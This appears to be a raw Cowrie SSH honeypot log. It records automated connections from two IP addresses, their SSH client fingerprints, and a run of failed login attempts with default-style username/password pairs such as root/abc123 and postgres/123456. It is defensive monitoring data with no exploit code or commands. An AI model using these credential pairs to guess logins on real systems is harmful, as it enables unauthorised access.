{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:35.608003Z","src_ip":"91.92.42.227","session":"6a1a8e2fadcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41824,"dst_ip":"10.17.0.5","dst_port":22,"session":"f53eee8e05b5","protocol":"ssh","message":"New connection: 45.156.87.147:41824 (10.17.0.5:22) [session: f53eee8e05b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:36.353376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:36.358617Z","src_ip":"45.156.87.147","session":"f53eee8e05b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:36.439903Z","src_ip":"45.156.87.147","session":"f53eee8e05b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"test","message":"login attempt [tester/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:36.804132Z","src_ip":"45.156.87.147","session":"f53eee8e05b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:37.893958Z","src_ip":"45.156.87.147","session":"f53eee8e05b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123","message":"login attempt [gitlab-runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:38.992018Z","src_ip":"91.92.42.227","session":"6a1a8e2fadcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:40.479312Z","src_ip":"91.92.42.227","session":"6a1a8e2fadcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38452,"dst_ip":"10.17.0.5","dst_port":22,"session":"39453db42b46","protocol":"ssh","message":"New connection: 45.156.87.147:38452 (10.17.0.5:22) [session: 39453db42b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:41.912975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:41.916769Z","src_ip":"45.156.87.147","session":"39453db42b46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:41.999095Z","src_ip":"45.156.87.147","session":"39453db42b46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:42.248588Z","src_ip":"45.156.87.147","session":"39453db42b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:43.334491Z","src_ip":"45.156.87.147","session":"39453db42b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41430,"dst_ip":"10.17.0.5","dst_port":22,"session":"f194c3a576a1","protocol":"ssh","message":"New connection: 91.92.42.227:41430 (10.17.0.5:22) [session: f194c3a576a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:43.399915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:43.453604Z","src_ip":"91.92.42.227","session":"f194c3a576a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:43.519083Z","src_ip":"91.92.42.227","session":"f194c3a576a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:43.848011Z","src_ip":"91.92.42.227","session":"f194c3a576a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:45.015307Z","src_ip":"91.92.42.227","session":"f194c3a576a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38468,"dst_ip":"10.17.0.5","dst_port":22,"session":"26e9804166c0","protocol":"ssh","message":"New connection: 45.156.87.147:38468 (10.17.0.5:22) [session: 26e9804166c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:46.909510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:46.914653Z","src_ip":"45.156.87.147","session":"26e9804166c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:46.997333Z","src_ip":"45.156.87.147","session":"26e9804166c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:47.242053Z","src_ip":"45.156.87.147","session":"26e9804166c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:48.329583Z","src_ip":"45.156.87.147","session":"26e9804166c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47464,"dst_ip":"10.17.0.5","dst_port":22,"session":"49d249770fb2","protocol":"ssh","message":"New connection: 91.92.42.227:47464 (10.17.0.5:22) [session: 49d249770fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:49.841323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:49.963216Z","src_ip":"91.92.42.227","session":"49d249770fb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:49.967033Z","src_ip":"91.92.42.227","session":"49d249770fb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"1qaz2wsx","message":"login attempt [node/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:50.783591Z","src_ip":"91.92.42.227","session":"49d249770fb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:52.025673Z","src_ip":"91.92.42.227","session":"49d249770fb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48378,"dst_ip":"10.17.0.5","dst_port":22,"session":"010e3769ab44","protocol":"ssh","message":"New connection: 45.156.87.147:48378 (10.17.0.5:22) [session: 010e3769ab44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:52.058192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:52.062251Z","src_ip":"45.156.87.147","session":"010e3769ab44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:52.145799Z","src_ip":"45.156.87.147","session":"010e3769ab44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf-space","message":"login attempt [root/asdfasdf-space] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:52.397085Z","src_ip":"45.156.87.147","session":"010e3769ab44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:53.546571Z","src_ip":"45.156.87.147","session":"010e3769ab44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48394,"dst_ip":"10.17.0.5","dst_port":22,"session":"1924f8c1ad46","protocol":"ssh","message":"New connection: 45.156.87.147:48394 (10.17.0.5:22) [session: 1924f8c1ad46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:57.096030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:57.100914Z","src_ip":"45.156.87.147","session":"1924f8c1ad46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":48992,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe9cb1d20d54","protocol":"ssh","message":"New connection: 91.92.42.227:48992 (10.17.0.5:22) [session: fe9cb1d20d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:57.121112Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:57.182256Z","src_ip":"45.156.87.147","session":"1924f8c1ad46","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:57.215410Z","src_ip":"91.92.42.227","session":"fe9cb1d20d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:57.218442Z","src_ip":"91.92.42.227","session":"fe9cb1d20d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"redhat","message":"login attempt [student/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:49:57.433630Z","src_ip":"45.156.87.147","session":"1924f8c1ad46","protocol":"ssh"}
